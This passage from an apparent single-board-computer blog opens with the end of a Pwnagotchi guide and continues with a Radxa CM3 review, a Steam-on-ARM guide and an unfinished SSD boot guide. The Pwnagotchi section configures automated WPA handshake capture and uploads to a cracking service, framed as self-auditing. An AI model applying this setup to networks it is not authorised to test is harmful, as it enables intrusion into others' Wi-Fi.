misconfigured, or more commonly these days the device is setting up access points by default without explicitly being turned on). There are many more plugins available. The official Pwnagotchi plugins list and documentation is available here. Build Instructions Download Location The precompiled image can be downloaded here from the official Pwnagotchi GitHub releases page. Write Image Write this image to your SD card (or SSD) you are going to use with the Pi as you would normally. Once the image has finished writing eject it from your SD card writer and then plug it back in. We need to create some configuration files before we boot up the pwnagotchi. Creating config.toml If you followed the instructions in the previous section you should have ejected your SD card after writing the image and then plugged it back in. You should now see the “boot” volume. This is where we are going to create a new file right in the root / base of the “boot” volume named: config.toml This is the main configuration file that controls the pwnagotchi. Let’s start with the basics (from the official documentation): main.name = "pwnagotchi" main.lang = "en" main.whitelist = [ "YourHomeNetworkMaybe" ] ui.web.enabled = true ui.web.address = "0.0.0.0" ui.web.username = "changeme" ui.web.password = "changeme" ui.web.port = 8080 main.plugins.webcfg.enabled = true main.plugins.grid.enabled = true main.plugins.grid.report = true main.plugins.grid.exclude = [ "YourHomeNetworkMaybe" ] ui.display.enabled = true ui.display.type = "inky" ui.display.color = "black" Here we are giving the device a name and we can whitelist any networks we don’t want the Pwnagotchi to test. We are also going to select our screen type here. The example uses the type of “inky” and the display color of “black”. If you don’t have a display you can leave the last 2 lines out. Use ‘waveshare_2’ for the alternative Wavescreen recommendation. Additional options are here. The middle section enables the ‘pwngrid’ plugin (enabled by default unless we explicitly disable it even if you don’t include the section in the file, you need to set enabled and report to false) which helps map access points you’ve discovered. Obviously this is not appropriate data to share sometimes so you can disable this here by setting both enabled and report to false if you do not want this functionality. We can change the language if your native language is not English. This is done with the “main.lang” parameter on the second line of my example. Watch out for settings not sticking when using the preconfigured config.toml method (especially the display). More on this in the next section. Important config.toml Note I and others have found that the Pwnagotchi does not always seem to pick up all these settings (particularly when trying to configure the screen). If you find that your screen isn’t functioning then it’s likely that your config.toml settings aren’t being picked up. If you are experiencing this then the best way to solve it is to manually edit your /etc/pwnagotchi/config.toml file. There are two ways to do this. The easiest way is using a Linux-based PC. If you can put the SD card into that PC it will be able to see the “root” partition. Other operating systems will not be able to see it. On Linux you can simply navigate to /etc/pwnagotchi/config.toml and edit it with a normal text editor. The second method is to log into the Pi using the default credentials (pi/raspberry) either via SSH or using a monitor and keyboard. Once you are in you will again simply edit the file /etc/pwnagotchi/config.toml. Make sure that your display type is correct and that the display is enabled in /etc/pwnagotchi/config.toml. Enabling WPA-SEC If you want to enable WPA-SEC like I am using in the guide first register for a free account at wpa-sec.stanev.org. Once you’ve registered and signed in you will see an API key in the top right of your screen. Add this section to config.toml (be very careful with spacing): main.plugins.wpa-sec.enabled = true main.plugins.wpa-sec.api_key = "XXXXXXXXXXXXX" main.plugins.wpa-sec.api_url = "https://wpa-sec.stanev.org" main.plugins.wpa-sec.download_results = true main.plugins.wpa-sec.whitelist = [ "YourNetworkMaybe" ] Additional Configuration You should absolutely read the official “Configuration” documentation from pwnagotchi.ai. It’s very comprehensive and gets into the gritty details of everything you can do! Usage Once the Pwnagotchi boots up you will start seeing activity from both the Pi Zero W’s activity indicator lights as well as the attached display (if you have one). The device is automated. If you did all of your initial configuration in the previous section then you’re ready to start gathering handshakes! The top right of the screen will have your uptime, the bottom left shows how many networks it has seen vs. how many it was able to successfully capture handshakes for (those are considered “pwned” in the display’s stats. Simply move around the area you are auditing until you’ve collected all of the data you need. There is so much more that the Pwnagotchi can do. It has a built in bettercap interface for example which is extremely powerful. My goal isn’t to cover every single thing it can do but to show you how to get started with it / the main capabilities. Definitely make sure you read the official Pwnagotchi usage guide here! Retrieving Captured Handshakes This is the most tricky part of using the pwnagotchi. There are several ways to connect to your pwnagotchi to download the handshakes. These are located in the folder: /root/handshakes You can use gadget mode. This requires you to connect your Pi Zero to your PC with a data cable. This will put it in a special mode where you can connect and download files from the device. You can also share your internet connection with the device in this mode. To use this mode make sure to see the official “Connect to your Pwnagotchi” documentation where they cover how to configure this on Mac, Windows, and Linux individually (too long to repeat here). If you connect an Ethernet adapter you can simply SSH into the device normally. My personal favorite mode since I use Linux on my main desktop PC is I can simply just take the SD card out of the Pi and put it in my PC. If you are on a Linux based PC you will be able to see the “root” partition and simply browse to /root/handshakes in your file explorer window. This won’t work on Windows as Windows will only see the “boot” partition. Conclusion I’ve been using this tool for years and have been kind of surprised more people haven’t caught onto how useful this is. Combined with the plugins I outlined this device will immediately detect devices on your property / networks / wherever that are broadcasting wireless networks with extremely weak credentials. You can then investigate the source and take the appropriate measures to secure them. This is completely automated and portable. While it’s possible to do these kind of audits on a laptop or other device you’d be hard pressed to find setups that make it as easy as a Raspberry Pi Zero running this software makes it. Add the plugin capabilities and it rivals (and often outperforms) even expensive commercially available setups designed to do exactly this same thing. I suspect it’s never got the recognition it deserves partially because it’s presented to be fun with the different faces and moods of the Pwnagotchi and seems more like a toy to people (probably because the faces and some of the other fun parts in the project are inspired by the Tomagotchi digital pets from the 90’s, and yes I had one as did almost every kid on the street I grew up on when that fad hit). The faces more represent whether the AI is getting enough “mental stimulation”. If it’s showing sad and angry faces it’s just letting you know there’s nothing more for it to really do here and it’s time to move on. There’s a bit more to it than that and if you want more details then the official “How does Pwnagotchi work?” is a good resource and explains every face and some of the algorithms driving them. It’s definitely not a toy. It’s an extremely powerful tool and I encourage anyone responsible for securing networks to try running a tool like this at your location and see what comes up. It’s not going to be the things you are thinking about (or probably even realize are there) and that is the point. I bet you will be surprised what it finds and it’s better to be surprised by your own audit than by a breach! Additional Resources Another very awesome wireless tool is the HackRF + PortaPack Upgrade: Upgrading HackRF One to PortaPack H2 For strategies on how to get reasonably priced Pis check out my Raspberry Pi Shortage Survival Guide If you want to learn how to use a SSD with your Pi check out my Best Storage Adapters and SSDs to use with the Pi article #### Radxa Rock 3 Compute Module Review I’ve reviewed the Pine64 SOQuartz compute module alternative in the past. While it works great Pine64 is working toward mainline support and doesn’t have very many choices available for a well-supported image as mainline kernel support for that board is not quite complete yet. The Radxa Rock 3 Compute Module (CM3) is Radxa’s current production alternative to a Raspberry Pi Compute Module 4. They promise that “Radxa CM3, CM3 SODIMM will remain in production until at least Sep 2029” meaning that they have made a very long term commitment to support this board. In this review I’m going to be taking a look at the Radxa Rock 3 compute module and see how it stacks up against the Pine64 SOQuartz as well as the Raspberry Pi CM4. Let’s begin! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityAvailable Operating SystemsTesting CM4 I/O BoardPerformance BenchmarkingConclusionOther ResourcesIs the Radxa CM3 a plug-and-play alternative to the Raspberry Pi CM4?How do I fix the Radxa CM3 boot issue on a Pi carrier board?Why do you recommend avoiding compute modules today? Hardware Used Radxa CM3 – Top View The Radxa Rock 3 Compute Module (CM3) has a quad-core 2.0GHz SoC with memory options from 1GB to 8GB. eMMC options are also available from 8 to 128GB. Links: AliExpress*, Amazon.com* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications 55 mm × 40 mm32 mm x 67.6 mmProcessor:Rockchip RK3566, Quad core Cortex-A55 (ARM v8) 64-bit SoC @ 2.0GHzMemory:1GB, 2GB, 4GB or 8GB LPDDR4 (depending on variant)Storage:8GB, 16GB, 32GB, 64GB, 128GB (depending on variant) high performance eMMCConnectivity:– Optional wireless LAN, 2.4GHz and 5.0GHz IEEE 802.11b/g/n/ac wireless, BT 5.0, BLE with external antenna– Onboard Gigabit Ethernet PHY– 1 x USB 2.0 Host port ( highspeed ), 1 x USB 2.0 OTG, 1 x USB 3.0 port ( 5Gbps )– 1 x PCIe 1-lane Host, Gen 2 ( 5Gbps )– 2 x SATA ports, one shared with USB 3, one shared with PCIe– 50 x GPIO supportingVideo:– 1x HDMI up to 4K x 2K@60HZ– 1x eDP four lanes, 2.7Gps per lane– 2x MIPI DSI four lanes, 1.6Gbps per lane– 1x LVDS four lanes(mux with MIPI DSI0)Audio:– LINEOUT– I2S– PDM, support mic arrayMultimedia:– VP9/H.264/H.265 decode 4K@60HZ– H.264/H.265 encode 1080P@100HZ– OpenGL ES 3.2/OpenCL 2.0/Vulkan 1.1 GPUInput power:5V DCConnector:3x 100P 0.4mm pitch B2B connectorProduction lifetime:Radxa CM3, CM3 SODIMM will remain in production until at least Sep 2029, CM3 Industrial will remain in production until at least Sep, 2032Radxa Rock 3 Compute Module Specifications Build Quality Let’s start with the packaging. The module came in a box like this: Radxa CM3 – Packaging It was wrapped with a ton of bubble wrap and actually shipped in a box to prevent it getting smashed. I’m kind of surprised to see someone shipping a SBC in a box like this as my last 10+ reviews or so they have all came in clear hard shells (that can’t be smashed nearly as easily). Here’s a look at the bottom of the packaging which has more information about the product: Radxa CM3 – Packaging (Back) This is exactly how Raspberry Pi 4 CM4s come though (in a very small box just like this) so I suppose that is what they are going for. Now let’s take a closer look at the board: Radxa CM3 – Top View In the top right hand of the board you can see a U.FL antenna connector to attach an external antenna. We can see that the version / revision of the board I got was V1.31A. If you follow the U.FL connector and go left from there past the WiFi chip there’s actually a small button right to the left of the WiFi chip. It is the most yellow looking piece on the board with the small black dot in the middle of it. This button disables the eMMC. In the top left hand in the board you will notice there is an unpopulated spot where there are only pads. Those pads are for a SPI flash chip and a button to disable it. My model did not come with the SPI flash obviously here. And for the bottom of the board: Radxa CM3 – Bottom View Now this is interesting, there’s a third connector on the left hand side of the board that the CM4 doesn’t have! Fortunately this doesn’t break compatibility with any of the existing CM4 boards. It will still plug in them and function normally. The third connector gives you more available I/O options than are available on the CM4 if you have a I/O board that is capable of using them. In other words it’s optional and boards can be designed to take advantage of it. You only need to change the .dtb file to switch between Raspberry Pi CM4 compatibility mode and Radxa CM3 compatibility mode (more on that later). The overall build quality is excellent. The board is very solid and the traces are very clearly visible. It’s easy to find which components wire where just by looking at the board. Available Operating Systems The official download page for the Radxa Rock 3 Compute Module (CM3) is here. As far as I can tell there are only two available operating systems. These include the following: Debian Bullseye XFCE Desktop Ubuntu Server (Focal) That is it as far as I can tell. It’s an even worse offering of operating systems than the Pine64 SOQuartz. Substantially worse actually. None of the third party images listed will work. That is just because they combined the CM3’s download section with the Rock 3 series of boards (another puzzling choice). Almost everything you see on that page won’t work with the CM3 unless it has CM3 specifically listed in the image name. Testing CM4 I/O Board Right off the bat you’re going to have to make some configuration changes. Even if you got a model with the eMMC the dtb files it came with are not compatible with the Raspberry Pi CM4 I/O boards. This is very disappointing but I’ll beat the hell out of them in the conclusion for it. Let’s just talk about how to fix it here for now. Basically if you only bought the module like I did (and none of the Radxa I/O boards) you’re going to need to plug it into your CM4 I/O board and disable the eMMC boot pins so you can plug the I/O board into your PC and image the eMMC. *Groan*. Not exactly an convenient thing to do with a compute module. The commands to fix this (from the running device) are: cd /boot/dtbs/$(uname -r)/rockchip/ sudo mv rk3566-radxa-cm3-io.dtb rk3566-radxa-cm3-io.dtb.bak sudo cp rk3566-radxa-cm3-rpi-cm4-io.dtb rk3566-radxa-cm3-io.dtb sudo reboot If you want to use these with the eMMC that’s going to be very hard to do without using the USB to TTY serial console. I don’t want to download rkdeveloptool and reflash the board. All I wanted to do was edit the files but that is actually really hard without just booting off a SD card first (at which point you will be able to access and mount the eMMC and change the files that way). To be fair Raspberry Pi also makes you use a proprietary tool for flashing from the PC and doesn’t just show up as a drive. In other words this is a problem with the Raspberry Pi as well. It’s part of the reason this form factor sucks frankly and neither Radxa or Raspberry Pi are doing the form factor any favors by not having the eMMC just show up as an accessible drive on the PC. It’s just a miserable technology to work with frankly and it has been since day 1 (especially compared to other Raspberry Pi products, my goodness). I imaged a SD card and then performed the above fix to make my DTB file compatible with the CM4 I/O boards: james@pop-os:~$ sudo mount /dev/sda1 /mnt james@pop-os:~$ cd /mnt/dtbs/4.19.193-58-rockchip-gbac1feba87f0/rockchip james@pop-os:/mnt/dtbs/4.19.193-58-rockchip-gbac1feba87f0/rockchip$ sudo mv rk3566-radxa-cm3-io.dtb rk3566-radxa-cm3-io.dtb.bak james@pop-os:/mnt/dtbs/4.19.193-58-rockchip-gbac1feba87f0/rockchip$ sudo cp rk3566-radxa-cm3-rpi-cm4-io.dtb rk3566-radxa-cm3-io.dtb I then attempted a boot and…. nothing. Are you kidding me? I’m going to really have to get a USB to TTY serial console out to get this to boot off ANYTHING even SD card? How about no. I’m failing this board right now. This board is going into the drawer of shame and I doubt I’ll ever touch it again. Not even within the same league as the Raspberry Pi 4 Compute Module 4 or even the Pine64 SOQuartz. There’s literally no point in continuing. This is a terrible offering. Performance Benchmarking Cancelled due to being such a nightmare to work with that I was done with the board before we even got to this. Conclusion Adding a third connector was theoretically a really good idea from Radxa if they would have done it correctly. The implementation is problematic though. Why didn’t Radxa map the I/O with 100% compatibility with the Raspberry Pi Compute Module 4? Why am I having to change .dtb files (even within the same image) to switch between different I/O boards? When I bought this product what I expected to happen is that I could use it interchangeably between Compute Module 4 I/O boards and Radxa I/O boards. I figured it would map the I/O in a way that maintained compatibility with the other images. It doesn’t though. You have to change the .dtb files between the two. I’m sure Radxa has a very technical explanation of why they did things this way but I would argue they’ve missed the point of using a compute module form factor like this. The whole idea is that I should be able to plug it into any I/O board and have it work. By adding a third I/O connector and having to switch operational modes by changing the .dtb files they’ve completely erased any advantage of using a form factor like this. It’s now just an additional headache added to the many headaches there already are when working with compute modules (even in ideal circumstances). In other words I think the third connector took this product in the wrong direction. It doesn’t make sense to me anymore. This really isn’t an easy product to use with Raspberry Pi Compute Module 4 I/O boards because you have to mess with the .dtb files. They say they have been working on an image that has this change built-in but it’s not available still. You have to do it manually. I hate to say it but this has to be Radxa’s least compelling offering I’ve ever reviewed. I called the Radxa Rock 5B the new king of SBC performance in comparison. I will recommend the Radxa Zero over the Raspberry Pi Zero 2W all day long as well. For this product to make sense to use you would probably want to bundle it with Radxa I/O boards so all of the images work without any further modification and customization. The issue is I see no reason why you would want to start over and invest in Radxa’s compute module ecosystem from the ground up. You can be sure that none of their gear with the third connector will play nice with the original CM4 (or at least it would be seriously hindered if it’s even possible by lack of the third I/O connector on the CM4). I legitimately would recommend the Pine64 SOQuartz over this board just because that board doesn’t have any weird I/O mapping issues going on with a third connector requiring changes to your dtb files to swap between the different I/O board solutions. I know Radxa has an extremely powerful CM5 model coming up that has an incredible 8 cores and will absolutely stomp the CM4 in performance. I’m honestly less excited for it though after trying this version. That’s because with having to change your dtb files to move between the different I/O boards no matter which image you’re using is honestly really gross to me. It’s exactly the kind of jankiness that Raspberry Pi fans (rightfully in this case) are pointing out as to why it’s an inferior experience and I don’t see how it can be overcome on this board series as it’s a design issue. I legitimately don’t know who this board is for (other than giant clusters of them) because if it’s not for CM4 fans then as I’ve explained who is it going to make sense for? Who else is going to have invested in this form factor already and have the super expensive I/O boards? Why not use microcontrollers or a regular single board computer? There are much more compelling offerings in both of those categories that cost less money / have more flexibility / enjoy better compatibility. My constructive criticism to Radxa would be to get those images out that have the dtb changes built-in. It’s still a terrible solution but it’s still a lot better than making the users modify their dtb files just to switch I/O board types. This board is straight up disqualified from being a Raspberry Pi alternative/replacement in any way until that happens. If the Radxa CM5 launches with the same issues it will also be automatically disqualified for consideration as a Raspberry Pi alternative for the same reason. You are offering an inferior experience in this case and that is not the case with your other product offerings Radxa! I kind of am doubting the compute module form factor altogether anyway to be honest. Playing with them again recently has made me feel like I’m playing with obsolete technology after my recent dive into microcontrollers. I’ve been so much more impressed by the microcontroller ecosystem (particularly ESP32). The microcontroller ecosystem seems like where things are really going to me and not to compute modules. I think this form factor is going to fail. There’s nothing convenient or nice about how this compute module market and the I/O boards surrounding it are developing. The CM4 I/O boards are generally super expensive anyway especially compared to the microcontroller world. Just a regular CM4 I/O board is more expensive than an entire microcontroller solution that comes with all the components soldered to the board that you want already good to go (with even the CPU included via the microcontroller). My entire microcontroller projects cost less to build with everything combined than just the compute module I/O boards cost let alone adding a Compute Module 4 or Radxa CM3 on top of that. The compute module was a great idea (at the time) but microcontrollers are becoming so powerful so quickly that I really don’t see any reason to keep living in Raspberry Pi / Radxa compatibility hell when microcontrollers are so powerful now (and will continue to become more powerful). Raspberry Pi couldn’t ever produce enough of these to make it a really well-established necessary form factor. I wouldn’t expect Radxa to be able to establish it themselves either especially given they are competing more with microcontrollers now than with Raspberry Pi since Raspberry Pi has been flailing around for years not shipping anything (relatively speaking). We already have a great modular component ecosystem and it’s not Raspberry Pi or Radxa. It’s generally ESP32 / microcontrollers. Adafruit is making really interesting microcontroller products that I’ve done a lot of coverage on the site that are so much better than anything going on in the compute module market. You can connect individual components together over I2C and build incredible modular projects powered by microcontrollers in the modern age. Without soldering. I really would encourage people to embrace microcontrollers (even if it’s the RPI Pico / RP2040) instead of compute modules at least for maker builds. They’re so much more compatible with each other already than single board computers ever were / are. They’re also much more pleasant to use frankly. Modern microcontrollers have a lot more power than people realize. They’re already dual core (which is more than the Pi Zero W can say) and typically have built in WiFi/Bluetooth. If you need the power of a full single board computer then get the Radxa Rock 5B. If you need the form factor of a Pi Zero 2W then get the Radxa Zero. If you need small / modular / expandable then the microcontroller world is infinitely better than anything you’re going to be able to do with these compute modules. It’s only people who are building a small 1U cluster of a whole bunch of these together that this might make sense for and people are already doing that with the Pine64 SOQuartz Blade. Other Resources You can see my 2023 top recommend Raspberry Pi alternatives list here I do highly recommend the Radxa Rock 5B for the standalone high performance single board computer category For the smaller Pi Zero form factor the Radxa Zero makes a lot of sense Is the Radxa CM3 a plug-and-play alternative to the Raspberry Pi CM4?Unfortunately, no. Due to an extra connector that disrupts standard carrier board pinouts, the CM3 requires manual .dtb (device tree blob) swapping just to achieve basic boot functionality on Raspberry Pi CM4 carrier boards.How do I fix the Radxa CM3 boot issue on a Pi carrier board?You must swap the device tree blob. Mount the boot partition and replace rk3566-radxa-cm3-io.dtb with rk3566-radxa-cm3-rpi-cm4-io.dtb in /boot/dtbs/$(uname -r)/rockchip/, then reboot.Why do you recommend avoiding compute modules today?The compute module category is largely obsolete because modern ESP32 and other microcontrollers offer better integration, significantly lower costs, and streamlined workflows without proprietary carrier board lock-in. #### Radxa Rock 5B Steam Installation Guide for Armbian Running Stardew Valley on Rock 5B I recently went through the trouble of figuring out how to install Steam on the Orange Pi 5 and it worked really well. Now that I’ve already gone through the pain of figuring out how to do this I figured I might as well write one of these guides for the Radxa Rock 5B as well. The new RK3588/RK3588S boards have much more power than we’ve typically had available to us in the past on ARM boards. With a whopping 8 CPU cores and a Mali 610 GPU the Orange Pi 5 is capable of running Steam using Box64/Box86. It’s even able to play basic games pretty well (with some tinkering usually). In this guide I’ll show you how to set up Steam on the Radxa Rock 5B and run Stardew Valley on it. You should keep your expectations in line though because there is no native ARM client for Steam. We are using emulation and instruction translation. You will also likely be missing libraries for most games you try which will require some fiddling. This guide is only for Armbian running the Ubuntu Jammy variant with the Gnome desktop installed (rolling support status). The official Radxa distributions will not have 3D support and I don’t care about whatever other flavor of Linux you are running either. I’m not going to install your preferred flavor of Linux and try to figure out how to do this on there nor am I interested in troubleshooting it. Please don’t ask. With all of that being said let’s get started! Table of Contents Toggle Hardware UsedInstalling DependenciesInstalling SteamLaunching SteamConclusionOther Resources Hardware Used Radxa Rock 5B The Radxa Rock 5B has 8 CPU cores, a PCIe 3.0 interface and a powerful GPU. It’s one of the top performing single board computers available on Pi Benchmarks. Links: AliExpress*, Amazon.com* Radxa Rock 5B Case The official case for the Radxa Rock 5B is actually made of metal and really nice Links: Amazon.com*, AliExpress* Radxa Rock 5B Cooling Fan The official powered cooling solution for the Radxa Rock 5B. Highly recommend to avoid overheating (especially when running games). Links: AliExpress* Radxa eMMC Module The eMMC module compatible with the Rock 5B. Available from 16GB up to 128GB. Links: Amazon.com*, AliExpress*, Amazon.com.au*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Installing Dependencies First we need to install some dependencies that are required by Steam. Use the following lines: sudo dpkg --add-architecture armhf sudo apt update && sudo apt install build-essential git cmake gcc-arm-linux-gnueabihf libc6-dev-armhf-cross libappindicator1 libnm0 libtcmalloc-minimal4 binfmt-support liblttng-ust-dev libcairo2:armhf libgmp10:armhf libvulkan1:armhf libudev-dev:armhf -y Next we’re going to install Box64. Paste the following lines in your terminal: git clone https://github.com/ptitSeb/box64 cd box64 mkdir build; cd build; cmake .. -DRK3588=1 -DCMAKE_BUILD_TYPE=RelWithDebInfo make -j4 sudo make install We also need Box86: cd ~ git clone https://github.com/ptitSeb/box86 cd box86 mkdir build; cd build; cmake .. -DRK3588=1 -DCMAKE_BUILD_TYPE=RelWithDebInfo make -j4 sudo make install We also need to install the 3D support drivers with the following: sudo add-apt-repository ppa:liujianfeng1994/panfork-mesa sudo add-apt-repository ppa:liujianfeng1994/rockchip-multimedia sudo apt update sudo apt dist-upgrade -y sudo apt install mali-g610-firmware rockchip-multimedia-config kodi -y That’s it for the dependencies! Before you continue you should reboot the device with: sudo reboot Installing Steam First we need to configure the environment for Steam. Use the following lines to add two environment variables to your Linux environment: echo 'export STEAMOS=1 export STEAM_RUNTIME=1 export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 export PAN_MESA_DEBUG=gofaster,gl3' | sudo tee /etc/profile.d/steam.sh source /etc/profile.d/steam.sh Next we’re going to use Box86’s install_steam.sh script like this: cd ~/box86 ./install_steam.sh Installation is now finished! Launching Steam I highly recommend running Steam from a terminal/console like this so you can see the error messages (especially when launching new games): Running Steam from CLI with Rock 5B It’s not unexpected for it to crash right after you log in for the first time. Mine crashed after I entered my one-time e-mail code from Steam. Simply launch it again. I had to log in again but it remembered the PC and stuck the second time. It also crashed once when I installed Stardew Valley. I then just launched Steam again and it downloaded the game and launched perfectly afterward: Running Stardew Valley on Rock 5B Conclusion This is only the beginning of your journey. I can get you this far. You should expect most games you try to launch to crash with missing libraries. You then typically will install those libraries through apt (or other means) to fix it. In fact Stardew Valley wouldn’t have worked if I hadn’t added several dependencies to the dependency section. It did crash at first when I tried this and it took several hours for me to figure out the right dependencies to install for it. If you are encountering really strange errors launching other titles you will want to use the trick I shared earlier of launching Steam within your console. You can then report such issues to the developers here on the GitHub issues page for Box64. There is a *ton* of helpful information there (and people) that can help with getting stubborn titles to launch. The developer ptitSeb is an absolute legend as well. My performance was very, very good on Stardew Valley. It takes a while to load the game for some reason but it runs perfectly smoothly on the Orange Pi 5. Obviously this is not an incredibly demanding game on your GPU and I would recommend sticking to those. I would absolutely also recommend active cooling on your Radxa Rock 5B. You at a bare minimum need my recommended heat sinks but even with my heat sinks I managed to overheat my Orange Pi 5 (forcing a power cycle) several times since it had no powered cooling. I did not have any overheating with my Radxa Rock 5B because I do actually have the powered fan on this device. Overall I’m pretty impressed. You’re going to have technical problems with various titles but this absolutely works. You can run games that aren’t super demanding at full speed and enjoy them on a 64-bit ARM board / distribution. Great work to all of the projects involved that have led to this being a reality! Other Resources Make sure to check out my Radxa Rock 5B full review here All of my Radxa related articles are here I have a similar guide for the Orange Pi 5 here #### Radxa Rock Pi 4C Plus SSD Boot Guide Radxa Rock Pi 4C Plus SSD Boot Guide The Rock Pi 4C Plus is a bit different to boot with a SSD than it’s predecessors. It does not have a SPI flash (nor can you solder one onto the board) so to use the NVMe slot for our root filesystem we need to use a SD card as the boot loader. In this guide I’ll walk you through the process to clone a working SD card installation to your NVMe drive and then use some tricks with the drive’s UUID identifiers and essentially pass the boot process off from the SD card and have the NVMe SSD take over. Let’s get started! Table of Contents Toggle Hardware UsedPreparing SD CardMounting SSDPreparing SSDCloning Installation to SSDChange SD card’s rootfs UUIDChange SSD’s boot UUIDRun fsckReboot and VerifyTesting PerformanceConclusionOther Resources Hardware Used Radxa Rock Pi 4C Plus The Rock Pi 4C Plus model always comes with 4GB of RAM. It has a hexa-core processor (6 cores) and a Mali T860MP4 GPU as well as a top-mounted M.2 slot (2230). Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Kioxia 2230 M2 NVMe Drive The Kioxia (Toshiba) 128GB M.2 2230 PCIe NVMe drive is much shorter than most NVMe drives (full size is 2280). It fits great with single board computers / tablets / other smaller form factors. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Radxa eMMC Module The eMMC module compatible with the Rock 4C+/5B. Available from 16GB up to 128GB. Links: Amazon.com*, AliExpress*, Amazon.com.au*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Preparing SD Card First you should have a completely working installation on a SD card of the OS that you would like to use. I used the official Debian desktop image for this guide (recommended) so if your partitions are different it may be your flavor of Linux and need slightly altered instructions. If you have an already working installation you want to move to your SSD you can use this as well most likely. You should completely update first with: sudo apt update && sudo apt full-upgrade Mounting SSD Mounting your SSD in the board should look like this: Radxa Rock Pi 4C Plus – NVMe and Heat Sinks Mounted Preparing SSD First we are going to completely remove all partitions from the drive so it’s completely blank. Your drive should typically be /dev/nvme0n1: sudo gdisk /dev/nvme0n1 Now remove all partitions from the device. If you press “p” it will print out the partitions. You can then use “d” to delete them. Here’s an example on mine: rock@rockpi-4cplus:/boot$ sudo gdisk /dev/nvme0n1 GPT fdisk (gdisk) version 1.0.6 Partition table scan: MBR: protective BSD: not present APM: not present GPT: present Found valid GPT with protective MBR; using GPT. Command (? for help): p Disk /dev/nvme0n1: 250069680 sectors, 119.2 GiB Sector size (logical/physical): 512/512 bytes Disk identifier (GUID): E3017ECA-4571-4F62-A39F-4BA2A4323BD8 Partition table holds up to 128 entries Main partition table begins at sector 2 and ends at sector 33 First usable sector is 34, last usable sector is 250069646 Partitions will be aligned on 64-sector boundaries Total free space is 8350 sectors (4.1 MiB) Number Start (sector) End (sector) Size Code Name 1 64 8063 3.9 MiB 0700 loader1 2 16384 24575 4.0 MiB 0700 loader2 3 24576 32767 4.0 MiB 0700 trust 4 32768 1081343 512.0 MiB EF00 boot 5 1081344 250069646 118.7 GiB 8300 rootfs Command (? for help): d Keep pressing d until all the partitions are deleted. Once they are gone use the ‘w’ command to write your changes. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. We can now copy your drive to the SSD with the following command: cat /dev/mmcblk0 > /dev/nvme0n1 Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). Remember that you are copying an entire drive from one to another basically with that one command. Mine took about 30-45 minutes (although I was using a 64GB SD card and the larger SD card you use the longer it will take to copy the whole drive). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s rootfs UUID We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -O metadata_csum_seed -U random /dev/mmcblk0p5 We can verify that it has changed with blkid like this: rock@rockpi-4cplus:~$ sudo blkid /dev/nvme0n1p1: PARTLABEL="loader1" PARTUUID="5a15e3e6-dd19-480e-811a-7d9ba59b1963" /dev/nvme0n1p2: PARTLABEL="loader2" PARTUUID="469f0b94-69ab-442d-aa9c-9b34c317a851" /dev/nvme0n1p3: PARTLABEL="trust" PARTUUID="1263ff37-cd88-4bb1-952c-8dca6a25d854" /dev/nvme0n1p4: UUID="AAAA-1111" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="boot" PARTUUID="256f45f9-30af-4374-85c9-2b8eaa1cc816" /dev/nvme0n1p5: LABEL="rootfs" UUID="4d9b395f-fc57-41f9-8cad-54ea930a6506" BLOCK_SIZE="4096" TYPE="ext4" PARTLABEL="rootfs" PARTUUID="0cc2b5ce-8997-4920-a9fb-3a1db3303230" /dev/mmcblk0p1: PARTLABEL="loader1" PARTUUID="5a15e3e6-dd19-480e-811a-7d9ba59b1963" /dev/mmcblk0p2: PARTLABEL="loader2" PARTUUID="469f0b94-69ab-442d-aa9c-9b34c317a851" /dev/mmcblk0p3: PARTLABEL="trust" PARTUUID="1263ff37-cd88-4bb1-952c-8dca6a25d854" /dev/mmcblk0p4: LABEL_FATBOOT="boot" LABEL="boot" UUID="8138-1398" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="boot" PARTUUID="256f45f9-30af-4374-85c9-2b8eaa1cc816" /dev/mmcblk0p5: LABEL="rootfs" UUID="101adf3b-0bbf-4891-8a20-d8d789b3a232" BLOCK_SIZE="4096" TYPE="ext4" PARTLABEL="rootfs" PARTUUID="0cc2b5ce-8997-4920-a9fb-3a1db3303230" Notice that /dev/nvme0n1p5 and /dev/mmcblk0p5 no longer have matching UUIDs. This is exactly what we want. Change SSD’s boot UUID Next we are going to change the boot partition’s UUID on the SSD. This will make it so that the mounted /boot folder inside your operating system actually mounts the SD card (which is your actual boot loader in this configuration). First make sure you have mtools with: sudo apt install mtools -y Now we can change the UUID with: sudo mlabel -N aaaa1111 -i /dev/nvme0n1p4 :: You can verify these are different using the same sudo blkid command as the previous section. Run fsck Before we reboot run fsck on the drive like this: sudo fsck -yf /dev/nvme0n1p5 This will prevent you from having to run fsck on the 